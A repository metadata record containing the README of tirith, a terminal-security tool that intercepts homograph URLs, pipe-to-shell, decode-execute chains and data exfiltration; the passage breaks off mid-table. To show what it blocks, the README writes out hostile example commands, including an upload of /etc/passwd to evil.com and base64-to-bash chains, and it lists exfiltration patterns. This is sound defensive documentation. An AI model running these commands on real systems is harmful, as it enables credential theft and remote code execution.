{"id":43563539,"url":"https://github.com/sheeki03/tirith","last_synced_at":"2026-05-29T10:00:51.243Z","repository":{"id":336061721,"uuid":"1147679251","full_name":"sheeki03/tirith","owner":"sheeki03","description":"Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.","archived":false,"fork":false,"pushed_at":"2026-05-23T08:47:59.000Z","size":8637,"stargazers_count":2363,"open_issues_count":5,"forks_count":80,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-05-23T09:33:14.893Z","etag":null,"topics":["cli","devtools","homograph-attack","rust","security","shell","supply-chain-security","terminal","unicode","url-security"],"latest_commit_sha":null,"homepage":"https://tirith.sh","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sheeki03.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE-AGPL","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":"docs/roadmap.md","authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE","maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":"sheeki03"}},"created_at":"2026-02-02T04:33:47.000Z","updated_at":"2026-05-23T06:50:59.000Z","dependencies_parsed_at":"2026-02-08T01:00:41.724Z","dependency_job_id":null,"html_url":"https://github.com/sheeki03/tirith","commit_stats":null,"previous_names":["sheeki03/tirith"],"tags_count":60,"template":false,"template_full_name":null,"purl":"pkg:github/sheeki03/tirith","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sheeki03","download_url":"https://codeload.github.com/sheeki03/tirith/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sheeki03%2Ftirith/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33646428,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-05-29T02:00:06.066Z","response_time":107,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cli","devtools","homograph-attack","rust","security","shell","supply-chain-security","terminal","unicode","url-security"],"created_at":"2026-02-03T21:14:05.014Z","updated_at":"2026-05-29T10:00:51.231Z","avatar_url":"https://github.com/sheeki03.png","language":"Rust","funding_links":["https://github.com/sponsors/sheeki03"],"categories":["Rust"],"sub_categories":[],"readme":"# tirith\n\n**Your browser would catch this. Your terminal won't.**\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"assets/cover.png\" alt=\"tirith — terminal security\" width=\"100%\" /\u003e\n\u003c/p\u003e\n\n[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)\n[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat\u0026logo=github)](https://github.com/sheeki03/tirith/stargazers)\n[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)\n\n[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/releases)\n\n---\n\nCan you spot the difference?\n\n```\n  curl -sSL https://install.example-cli.dev | bash     # safe\n  curl -sSL https://іnstall.example-clі.dev | bash     # compromised\n```\n\nYou can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice.\n\nBrowsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.\n\n**Tirith stands at the gate.** It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.\n\n```bash\nbrew install sheeki03/tap/tirith\n```\n\nThen activate in your shell profile:\n\n```bash\n# zsh\neval \"$(tirith init --shell zsh)\"\n\n# bash\neval \"$(tirith init --shell bash)\"\n\n# fish\ntirith init --shell fish | source\n```\n\n\u003e [!TIP]\n\u003e `eval \"$(tirith init)\"` auto-detects your current shell (it inspects the parent process and falls back to `$SHELL` if needed). The explicit `--shell` flag is only required when you want to override the detection.\n\nThat's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.\n\nAlso available via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), and [more](#install).\n\n---\n\n## See it work\n\n**Homograph attack — blocked before execution:**\n\n```\n$ curl -sSL https://іnstall.example-clі.dev | bash\n\ntirith: BLOCKED\n  [CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname\n    This is a homograph attack. The URL visually mimics a legitimate\n    domain but resolves to a completely different server.\n  Bypass: prefix your command with TIRITH=0 (applies to that command only)\n```\n\nThe command never executes.\n\n**Pipe-to-shell with clean URL — warned, not blocked:**\n\n```\n$ curl -fsSL https://get.docker.com | sh\n\ntirith: WARNING\n  [MEDIUM] pipe_to_interpreter — Download piped to interpreter\n    Consider downloading first and reviewing.\n```\n\nWarning prints to stderr. Command still runs.\n\n**Base64 decode-execute chain — blocked:**\n\n```\n$ echo payload | base64 -d | bash\n\ntirith: BLOCKED\n  [HIGH] base64_decode_execute — Base64 decode piped to interpreter\n  [HIGH] pipe_to_interpreter — Pipe to interpreter: base64 | bash\n```\n\nCatches decode chains through sudo/env wrappers and PowerShell `-EncodedCommand` too.\n\n**Credential exfiltration — blocked:**\n\n```\n$ curl -d @/etc/passwd https://evil.com/collect\n\ntirith: BLOCKED\n  [HIGH] data_exfiltration — Data exfiltration via curl upload\n    curl command uploads sensitive data to a remote server\n```\n\nCovers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution.\n\n**Malicious skill file — caught on scan:**\n\n```\n$ tirith scan evil_skill.py\n\ntirith scan: evil_skill.py — 3 finding(s)\n  [MEDIUM] dynamic_code_execution — exec() near b64decode() in close proximity\n  [MEDIUM] obfuscated_payload — Long base64 string decoded and executed\n  [MEDIUM] suspicious_code_exfiltration — HTTP call passes sensitive data as argument\n```\n\nScans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.\n\n**Normal commands — invisible:**\n\n```\n$ git status\n$ ls -la\n$ docker compose up -d\n```\n\nNothing. Zero output. You forget tirith is running.\n\n---\n\n## What it catches\n\n**80+ detection rules across 15 categories.**\n\n| Category | What it stops |\n|----------|--------------|\n| **Homograph attacks** | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) |\n| **Terminal injection** | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers |\n| **Steganography defense** | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution — defenses against st3gg-style text steganography |\n| **Pipe-to-shell** | `curl \\| bash`, `wget \\| sh`, `httpie \\| sh`, `xh \\| sh`, `python \u003c(curl ...)`, `eval $(wget ...)` — every source-to-sink pattern |\n| **Base64 decode-execute** | `base64 -d \\| bash`, `python -c \"exec(b64decode(...))\"`, `powershell -EncodedCommand` — decode chains through sudo/env wrappers |\n| **Data exfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env var uploads (`$AWS_SECRET_ACCESS_KEY`), command substitution exfil |\n| **Code file scanning** | Obfuscated payloads (`eval(atob(...))`), dynamic code execution (`exec(b64decode(...))`), secret exfiltration via `fetch`/`requests.post` in JS/Python files |\n| **Credential detection** | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection |\n| **Post-compromise behavior** | Process memory scraping (`/proc/*/mem`), Docker remote privilege escalation, credential file sweeps — calibrated against TeamPCP and UNC1069 post-compromise tooling |\n| **Command safety** | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |\n| **Insecure transport** | Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations |\n| **Environment** | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |\n| **Config file security** | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |\n| **Ecosystem threats** | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |\n| **Path analysis** | Non-ASCII paths, homoglyphs in paths, double-encoding |\n| **Rendered content** | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) |\n| **Cloaking detection** | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |\n\n---\n\n## What tirith does NOT protect against\n\nTirith analyzes the **structure** of commands, pasted text, and files *before*\nthey execute. It is a pre-execution gate, not a runtime defense. By design, it\ndoes not cover:\n\n- **Runtime sandboxing** — tirith does not sandbox or contain a command once it\n  runs. It decides whether to warn or block; it does not isolate execution.\n- **Post-execution network monitoring** — tirith does not inspect network\n  traffic after a command runs. What a process does on the network once\n  launched is out of scope.\n- **Malware / payload detection** — tirith analyzes command and file\n  *structure*, not payload behavior. It is not an antivirus and does not\n  detonate or signature-match payloads. (`tirith run` analyzes a downloaded\n  script's structure before execution, but it is still not malware analysis.)\n- **A privileged root/admin attacker** — a user who is already root or admin can\n  bypass tirith trivially. Tirith defends against tricked input, not against an\n  attacker who already owns the machine.\n- **Anti-debugging / anti-tampering** — tirith does not resist analysis or\n  reverse engineering, and does not protect its own binary from a local\n  attacker.\n\nSee [docs/threat-model.md](docs/threat-model.md) for the full threat model and\nexplicit non-goals.\n\n---\n\n## Known limitations\n\n- **Shell-hook fragility** — tirith protection depends on a shell hook staying\n  correctly installed and active. Hooks can break or silently degrade across\n  shells (zsh, bash, fish, PowerShell), shell versions, prompt frameworks, and\n  history tools. Run `tirith doctor` to check live hook state, and watch for\n  warn-only degradation messages.\n- **Unix-only features** — daemon mode and `tirith setup` are Unix-only today.\n  `tirith run` and `tirith fetch` are likewise Unix-only.\n- **Package-name extraction scope** — package-name matching against the threat\n  database covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go,\n  composer, dotnet, mvn/gradle). It does **not** cover distro-level package\n  managers (`apt`, `dnf`, `yum`, `pacman`).\n- **AI-agent integration caveats** — shell-hook interception only guards\n  commands that actually go through a hooked interactive shell; an agent that\n  spawns a non-interactive shell, calls `exec` directly, or runs in an\n  environment where the hook is not loaded is not covered. MCP-based protection\n  requires the agent to actually call the tirith MCP tools — it is advisory, not\n  enforced.\n\n---\n\n## Threat intelligence\n\nTirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or `tirith check` sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.\n\n**Signed DB** (built daily by CI, verified on download and load):\n\n- Known-malicious packages from [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) and [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)\n- Malicious IP infrastructure from [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)\n- Confirmed typosquats and popular-package baselines from [ecosyste.ms](https://ecosyste.ms/)\n- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) catalog for runtime advisory correlation\n\n**Optional supplemental feeds** (user-local overlay):\n\n- [URLhaus](https://urlhaus.abuse.ch/) and [ThreatFox](https://threatfox.abuse.ch/) via an abuse.ch auth key\n- [PhishTank](https://phishtank.org/) (Cisco Talos) and [Phishing Army](https://phishing.army/) blocklists\n- Tor exit node list from [Tor Project](https://www.torproject.org/)\n\n**Optional live enrichment** during `tirith check` and daemon mode:\n\n- [OSV.dev](https://osv.dev/) advisory lookups (Google OSS)\n- [deps.dev](https://deps.dev/) package health signals (Google OSS) and [ecosyste.ms](https://ecosyste.ms/) maintainer data\n- [Google Safe Browsing](https://safebrowsing.google.com/) URL reputation with your own API key\n\n```bash\ntirith threat-db update              # download + verify the signed DB\ntirith threat-db status              # age, signature, version, entry counts\ntirith threat-db health              # install, signature, staleness, counts\ntirith threat-db sources             # list every feed the DB is built from\ntirith threat-db explain react       # what the DB knows about an indicator\ntirith threat-db diff --since 2026-01-01   # count changes since a version/date\n```\n\nBy default, shell hooks and `tirith check` trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.\n\n`threat-db explain` accepts a domain, a package name (`name`, `ecosystem:name`, or `name@version`), or an IPv4 address; `threat-db sources` groups feeds into the signed primary database and the optional user-local supplemental overlay. The threat-DB binary retains no per-entry history, so `threat-db diff` reports category and per-source count deltas between snapshots rather than the exact entries added or removed. Every `threat-db` command takes `--format json`; `threatdb` works as an alias for `threat-db`.\n\nThis helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.\n\n**Attack families tirith is built for** (illustrative, not a caught-by-current-code claim):\n\n| Incident | Year | Attack shape |\n|---|---|---|\n| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public `Shai-Hulud` repos |\n| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023–ongoing | Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) found 58% of hallucinated names repeat across runs |\n| Team PCP / UNC1069 tooling | ongoing | Post-compromise credential sweeps, `/proc/*/mem` scraping, Docker privilege escalation |\n| [colors.js / faker.js sabotage](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Author self-sabotage of widely-used packages |\n| [event-stream compromise](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferred ownership to attacker; payload targeted Bitcoin wallets |\n\nPackage-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (`apt` / `dnf` / `yum` / `pacman`). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.\n\n---\n\n## AI agent security\n\nTirith protects AI coding agents at every layer — from the configs they read to the commands they execute.\n\n### Shell hooks — passive command interception\n\nWhen AI agents execute shell commands (Claude Code, Codex, Cursor, etc.), tirith's shell hooks intercept every command before it runs. No agent-side configuration needed — if the hook is active in the shell, all commands are guarded:\n\n- **Blocks dangerous commands** — homograph URLs, pipe-to-shell, insecure downloads\n- **Blocks malicious paste** — ANSI injection, bidi attacks, hidden multiline in pasted content\n- **Works with every agent** — any tool that spawns a shell inherits tirith protection\n- **Zero agent modification** — the agent doesn't know tirith exists until a command is blocked\n\nUse `tirith setup \u003ctool\u003e` for one-command configuration (see [AI Agent Integrations](#ai-agent-integrations)).\n\n### MCP server (7 tools)\n\nRun `tirith mcp-server` or use `tirith setup \u003ctool\u003e --with-mcp` to register tirith as an MCP server. AI agents can call these tools before taking action:\n\n| Tool | What it does |\n|------|-------------|\n| `tirith_check_command` | Analyze shell commands for pipe-to-shell, homograph URLs, env injection |\n| `tirith_check_url` | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |\n| `tirith_check_paste` | Check pasted content for ANSI escapes, bidi controls, zero-width chars |\n| `tirith_scan_file` | Scan a file for hidden content, invisible Unicode, config poisoning |\n| `tirith_scan_directory` | Recursive scan with AI config file prioritization |\n| `tirith_verify_mcp_config` | Validate MCP configs for insecure servers, shell injection in args, wildcard tools |\n| `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) |\n\n### Config file scanning\n\n`tirith scan` detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:\n\n- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`\n- `.claude/` settings, agents, skills, plugins, rules\n- `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/` configs\n- `mcp.json`, `.mcp.json`, `mcp_settings.json`\n- `.github/copilot-instructions.md`, `.github/agents/*.md`\n\n**What it catches in configs:**\n\n- **Prompt injection** — skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions\n- **Invisible Unicode** — zero-width characters (including Mongolian Vowel Separator), bidi controls, soft hyphens, Unicode tags, Hangul fillers, invisible whitespace encoding, math alphanumeric confusables\n- **MCP config issues** — insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access\n\n### Hidden content detection\n\nDetects content invisible to humans but readable by AI in HTML, Markdown, and PDF:\n\n- **CSS hiding** — `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, off-screen positioning\n- **Color hiding** — white-on-white text, similar foreground/background (contrast ratio \u003c 1.5:1)\n- **HTML/Markdown comments** — prompt injection phrases (High), destructive commands like `rm -rf` or `curl|bash` (Medium), long comments hiding instructions (Low)\n- **PDF hidden text** — sub-pixel rendered text (font-size \u003c 1px) invisible to readers but parseable by LLMs\n\n### Cloaking detection\n\n`tirith fetch` compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.\n\n---\n\n## Install\n\n### macOS\n\n**Homebrew:**\n\n```bash\nbrew install sheeki03/tap/tirith\n```\n\n### Linux Packages\n\n**Debian / Ubuntu (.deb):**\n\nDownload from [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), then:\n\n```bash\nsudo dpkg -i tirith_*_amd64.deb\n```\n\n**Fedora / RHEL / CentOS 9+ (.rpm):**\n\nDownload from [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), then:\n\n```bash\nsudo dnf install ./tirith-*.rpm\n```\n\n**Arch Linux (AUR):**\n\n```bash\nyay -S tirith\n# or: paru -S tirith\n```\n\n**Nix:**\n\n```bash\nnix profile install nixpkgs#tirith              # from nixpkgs\nnix profile install github:sheeki03/tirith      # from upstream flake\n# or try without installing: nix run github:sheeki03/tirith -- --version\n```\n\n### Android (Termux)\n\nAndroid/Termux runs on Bionic libc, not glibc, so the `aarch64-unknown-linux-gnu`\nbuild cannot run there — it needs glibc's dynamic linker. Use the **musl** build\ninstead: `tirith-aarch64-unknown-linux-musl.tar.gz` is statically linked and runs\non Termux without an external libc.\n\n```bash\n# In Termux:\npkg install curl tar\n# Download the musl build from the latest GitHub release:\ncurl -fsSL -o tirith.tar.gz \\\n  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz\ntar xzf tirith.tar.gz\ninstall -Dm755 tirith \"$PREFIX/bin/tirith\"\ntirith --version\n```\n\nThen activate the shell hook in `~/.bashrc` (Termux's default shell is bash):\n\n```bash\neval \"$(tirith init --shell bash)\"   # add to ~/.bashrc\n```\n\n\u003e [!NOTE]\n\u003e Termux support is best-effort. The musl artifact is built and smoke-tested in\n\u003e CI, but tirith is not yet continuously tested on a real Android device.\n\u003e If a hook misbehaves under Termux, please open an issue with `tirith doctor`\n\u003e output.\n\n### Windows\n\nAll core features work on Windows including detection, scanning, webhooks, policy management, and audit uploads. Shell hooks support PowerShell. Daemon mode and `tirith setup` are Unix-only for now.\n\n**Scoop:**\n\n```powershell\nscoop bucket add tirith https://github.com/sheeki03/scoop-tirith\nscoop install tirith\n```\n\n**Chocolatey** (under moderation — pending approval):\n\n```powershell\nchoco install tirith\n```\n\n### Cross-Platform\n\n**npm:**\n\n```bash\nnpm install -g tirith\n```\n\n**Cargo:**\n\n```bash\ncargo install tirith\n```\n\n**[Mise](https://mise.jdx.dev/)** (official registry):\n\n```bash\nmise use -g tirith\n```\n\n**asdf:**\n\n```bash\nasdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git\nasdf install tirith latest\nasdf global tirith latest\n```\n\n**Docker:**\n\n```bash\ndocker run --rm ghcr.io/sheeki03/tirith check -- \"curl https://example.com | bash\"\n```\n\n### Activate\n\nAdd to your shell profile (`.zshrc`, `.bashrc`, or `config.fish`):\n\n```bash\neval \"$(tirith init --shell zsh)\"   # in ~/.zshrc\neval \"$(tirith init --shell bash)\"  # in ~/.bashrc\ntirith init --shell fish | source   # in ~/.config/fish/config.fish\n```\n\n| Shell | Hook type | Tested on |\n|-------|-----------|-----------|\n| zsh | preexec + paste widget | 5.8+ |\n| bash | preexec (two modes) | 5.0+ |\n| fish | fish_preexec event | 3.5+ |\n| PowerShell | PSReadLine handler | 7.0+ |\n\nBash uses enter mode when a capability self-test has proven it works for your bash, and preexec otherwise. `tirith setup` / `tirith doctor` run the self-test; the shell hook reads its cached verdict at startup. See [troubleshooting](docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) for details on the modes, the self-test, and SSH fallback behavior.\n\n\u003e [!WARNING]\n\u003e Bash's preexec mode warns but cannot block in-place. Set `TIRITH_BASH_PREEXEC_ENFORCE=1` for real blocking via `shopt -s extdebug`. Enforcement refuses to activate when `HISTCONTROL` contains `ignorespace` / `ignoredups` / `ignoreboth`, any `HISTIGNORE` is set, or `set +o history` is active — those make the block racy.\n\n#### Enforcement by shell\n\n| Shell | Behavior |\n|---|---|\n| bash **enter mode** | **Reliable blocking.** Binds Enter; can stop a command before bash commits to running it. Used by default only where a capability self-test (`tirith doctor --simulate-enter`) has proven `bind -x` delivery works for the running bash. |\n| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Conditional blocking.** Uses `shopt -s extdebug`; blocks when bash's `history` can provide a trustworthy whole-line view. Downgrades to warn-only when history is filtered (`HISTCONTROL=ignorespace/ignoredups/ignoreboth`, any `HISTIGNORE`, or `set +o history`) or an alias / command substitution / `eval` makes the typed line drift from `BASH_COMMAND`. |\n| bash **preexec** (no enforce flag) | Warn-only. Prints a DETECTED banner on risky commands; does not block. The fallback when the enter-mode self-test has not proven delivery works. |\n| zsh, fish, powershell | Reliable blocking via native preexec hooks. |\n| nushell | Warn-only (does not currently support command interception). |\n\nFor guaranteed line-level blocking on bash, run `tirith doctor --simulate-enter` — if delivery works, enter mode is enabled. Where it does not, use preexec enforce for \"blocks when possible; tells you honestly when it can't.\"\n\n**Nix / Home-Manager:** tirith must be in your `$PATH` — the shell hooks call `tirith` by name at runtime. Adding it to `initContent` alone is not enough.\n\n```nix\nhome.packages = [ pkgs.tirith ];\n\nprograms.zsh.initContent = ''\n  eval \"$(tirith init --shell zsh)\"\n'';\n```\n\n### Updating and verifying tirith\n\ntirith can verify its own integrity and update itself. Both commands reach the network only when you run them.\n\n```bash\ntirith verify-self          # is this binary the genuine, unmodified release?\ntirith update               # update to the latest release\ntirith version --provenance # version, build info, install method, verification\n```\n\n**`tirith verify-self`** confirms the running binary is the genuine, unmodified binary from an official release. It re-downloads the release archive for your version and target, verifies it against the signed release `checksums.txt`, verifies the cosign signature over `checksums.txt` when [`cosign`](https://github.com/sigstore/cosign) is installed, and confirms the running binary is byte-identical to the official one. If full verification is not possible — a local dev build, no network, an install tirith cannot identify — it says so honestly rather than reporting a false \"verified\". With `cosign` absent the checksum is still verified (reported as `verified-checksum-only`); install `cosign` for full signature verification (`verified-signed`).\n\n**`tirith update`** is package-manager-aware:\n\n- **Package-manager installs** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) are never self-modified. tirith prints the exact command to run instead — e.g. `brew upgrade tirith`. Updating through the package manager keeps its database consistent.\n- **Self-managed installs** (the `install.sh` tarball, or a standalone binary) are updated in place: tirith downloads the latest release, verifies it, then atomically swaps the binary, keeping the previous one as a `tirith.tirith-previous` sidecar. `--verify` makes a verified cosign signature mandatory; a checksum mismatch always aborts. `tirith update --rollback` reverts to the previous binary; `--dry-run` shows what would happen without changing anything.\n\n### Shell Integrations\n\n**Oh-My-Zsh:**\n\n```bash\ngit clone https://github.com/sheeki03/ohmyzsh-tirith \\\n  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith\n\n# Add tirith to plugins in ~/.zshrc:\nplugins=(... tirith)\n```\n\n### AI Agent Integrations\n\nUse `tirith setup \u003ctool\u003e` for one-command configuration:\n\n```bash\ntirith setup claude-code --with-mcp   # Claude Code + MCP server\ntirith setup codex                    # OpenAI Codex\ntirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)\ntirith setup cursor                   # Cursor\ntirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server\ntirith setup kiro                     # Kiro CLI (formerly Amazon Q)\ntirith setup pi-cli                   # Pi CLI\ntirith setup vscode                   # VS Code\ntirith setup windsurf                 # Windsurf\n```\n\nFor manual configuration, see `mcp/clients/` for per-tool guides.\n\n### CI/CD Integration\n\n**GitHub Action** with SARIF upload to GitHub Security tab:\n\n```yaml\n- uses: sheeki03/tirith@v1\n  with:\n    fail_on: high\n    sarif: true\n```\n\nAlso available as a **pre-commit hook** — see `.pre-commit-hooks.yaml` in this repo.\n\nScan supports `--include`, `--exclude`, `--profile` (loads named profiles from policy), and `--ignore` filters for targeted CI scanning.\n\n### Rule Documentation\n\n```bash\ntirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT\u0026CK\ntirith explain --rule curl_pipe_shell --fix # just the remediation (\"what to do instead\")\ntirith explain --list --category terminal   # all rules in a category\n```\n\n### Remediation — \"what to run instead\"\n\nEvery finding carries a per-rule remediation: a short, accurate \"how to make\nthis safe\" line, shown under each finding (`Fix:`) and in `--format json`.\n`tirith explain --rule \u003cid\u003e --fix` prints that remediation on its own.\n\nWhen a command is blocked or warned, `tirith check --suggest-safe-command`\nadditionally prints a concrete safer rewrite of the *actual* command — but only\nwhere a transformation is genuinely safer and correct:\n\n```bash\ntirith check --suggest-safe-command -- 'curl https://example-cli.dev/i.sh | bash'\n# → try: curl -fsSL -o /tmp/tirith-review.sh https://example-cli.dev/i.sh \\\n#        \u0026\u0026 less /tmp/tirith-review.sh \u0026\u0026 bash /tmp/tirith-review.sh\n```\n\nIt rewrites pipe-to-shell into download-review-run, drops insecure-TLS flags\n(`-k` / `--insecure` / `--no-check-certificate`), and switches plain `http://`\nto `https://`. For findings with no safe mechanical rewrite (homograph\nhostnames, archive-extract targets, …) it says so plainly and shows the\nremediation instead — it never emits a bogus suggestion. The flag is advisory:\nit changes neither the verdict nor the exit code.\n\n### Daemon Mode (Unix)\n\nOptional background process for sub-millisecond latency and network-aware enrichment (shortened URL resolution, DNS blocklist checks):\n\n```bash\ntirith daemon start       # tirith check auto-delegates when running\ntirith daemon stop\n```\n\n\u003e [!NOTE]\n\u003e Daemon mode is Unix-only today.\n\n---\n\n## Commands\n\n| Command | What it does |\n|---------|-------------|\n| `tirith check -- \u003ccmd\u003e` | Analyze a command without executing it (`--suggest-safe-command` adds a concrete safer rewrite) |\n| `tirith paste` | Check pasted content (called automatically by shell hooks) |\n| `tirith scan [path]` | Scan files/directories with `--include`, `--exclude`, `--profile`, `--format sarif`, `--ci` |\n| `tirith threat-db update` | Download, verify, and install the signed threat database |\n| `tirith threat-db status` | Show DB age, signature status, version, and entry counts |\n| `tirith threat-db explain \u003cindicator\u003e` | Explain what the threat DB knows about a domain, package, or IP |\n| `tirith threat-db sources` | List the threat-intelligence sources the DB is built from |\n| `tirith threat-db health` | Report threat DB health: install, signature, staleness, entry counts |\n| `tirith threat-db diff --since \u003cver\\|date\u003e` | Summarize threat-DB count changes since a version or date |\n| `tirith explain --rule \u003cid\u003e` | Show documentation, examples, and remediation for any detection rule (`--fix` shows just the remediation) |\n| `tirith policy init` | Generate a starter `.tirith/policy.yaml` (`--template individual\\|ci-strict\\|ai-agent-heavy` for curated presets) |\n| `tirith policy validate` | Validate policy YAML for syntax, schema, and conflicts |\n| `tirith policy test \u003ccmd\u003e` | Dry-run a command or file against your policy with match trace |\n| `tirith policy tune --from-audit` | Suggest conservative policy adjustments from your audit log (suggest-only — never edits the policy) |\n| `tirith run \u003curl\u003e` | Safe `curl \\| bash` replacement. Downloads, analyzes, reviews, then executes |\n| `tirith score \u003curl\u003e` | Break down a URL's trust signals (`--explain` shows the deterministic factor-by-factor score derivation) |\n| `tirith diff \u003curl\u003e` | Byte-level comparison showing where suspicious characters hide |\n| `tirith fetch \u003curl\u003e` | Detect server-side cloaking (different content for bots vs browsers) |\n| `tirith why` | Explain the last rule that triggered |\n| `tirith doctor` | Diagnose installation, hooks, and policy |\n| `tirith doctor --fix` | Auto-fix detected issues (hooks, policy, AI tool setup) |\n| `tirith 